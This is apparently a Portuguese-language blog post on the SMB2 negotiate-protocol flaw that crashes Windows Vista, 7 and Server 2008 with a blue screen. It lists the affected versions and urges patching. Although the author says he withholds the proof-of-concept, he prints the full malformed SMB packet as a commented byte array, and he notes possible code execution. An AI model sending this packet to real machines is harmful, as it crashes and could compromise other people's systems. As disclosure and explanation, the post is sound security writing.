bsodJogando conversar fora e tomando uma cerveja com o Carlão (Carlos Barcellos), ele mencionou sobre uma falha de  negociação no protocolo SMB2 do Windows. Na hora não dei muita atenção, pois pensei que tal  vulnerabilidade não atingiria as maquinas com o sistema operacional atualizado. Para a  minha surpresas, todas as máquinas submetidas ao teste sofreram a famosa BSOD (blue screen of death)  seguido do desligamento imediato.

A vulnerabilidade ocorre no protocolo SMB2 (Server Message Block — versão 2) da Microsoft,  localizado na camada de rede, utilizado geralmente para o acesso aos recursos compartilhados e autenticação IPC (Comunicação Inter-Processo).

Este  protocolo é o padrão de compartilhamento de arquivos entre computadores rodando Windows, e especificamente a versão 2 (SMB2) pode ser derrubada por um código de prova de conceito. Por questões éticas não disponibilizarei  o código. A seguir a lista das versão comprometidas:

  • Windows 7 (32 e 64 bits);
  • Vista, Vista SP1, Vista SP2 (32 e 64 bits);
  • Windows 2008, e 2008 SP2 (32 e 64 bits, e Itanium-based).

“Esse método ataca via negociação de requisição de protocolo (negotiate protocol request) que é a primeira query enviada pelo SMB. A vulnerabilidade está presente apenas nas versões de Windows que incluem o Server Message Block 2.0 e tem o protocolo ativado. O sucesso no ataque não requer acesso local na máquina e resulta na Tela Azul da Morte (Blue Screen of Death).”

smb

A seguir, uma versão do pacote modificado:

 0x01, 0x00, 0x00, 0x90, // Cabecalho
 0xff, 0x53, 0x4d, 0x42, // String SMB
 0x72, 0x00, 0x00, 0x00, // Protocolo de negociacao
 0x00, 0x18, 0x53, 0xc8, // Codigo operacao 0x18 & sub 0xc853
 0x00, 0x26,             // Valor antigo esperado pelo protocolo "\x00\x00"
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54,
 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31,
 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00,
 0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57,
 0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61,
 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c,
 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c,
 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e,
 0x30, 0x30, 0x32, 0x00
OBS: Como mencionou o José Mateus Ucelli, quem conseguir controlar esse ponteiro na hora do estouro da pilha, pode apontar para execuçao de qualquer programa na memória…

OBS2: Sugiro aos usuários Windows (credo!) ficarem atentos com relação ao problema, e consequentemente  buscarem a  solução o mais breve possível junto ao fornecedor do sistema operacional. Pois códigos maliciosos surgirão de forma exponencial.

Fontes de informação:
Hack A Day